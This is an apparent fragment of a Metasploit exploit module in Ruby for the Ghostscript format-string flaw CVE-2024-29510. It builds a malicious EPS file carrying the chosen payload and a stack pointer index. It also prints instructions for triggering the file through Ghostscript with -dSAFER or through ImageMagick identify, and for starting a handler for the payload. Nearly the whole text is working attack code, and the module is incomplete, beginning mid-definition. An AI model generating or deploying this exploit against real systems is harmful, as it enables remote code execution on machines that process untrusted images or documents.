Ghostscript Format String Cve 2024 29510.rb
Ghostscript Format String Cve 2024 29510.rb
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
register_options([
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file',
'msf.eps']),
OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see
the full documentation for details `info -d`)', 5])
])
end
def exploit
xploit = template.sub('MSF_PAYLOAD', payload.encoded)
xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s)
file_create(xploit)
print_good('You will need to start a handler for the selected payload first.')
print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY
#{datastore['FILENAME']}")
print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}")
end
def template
xploit = File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2024-29510',
'ghostscript_format_string.eps'
))
# Remove comments
xploit.gsub!(/\s*% .+$/, '')
end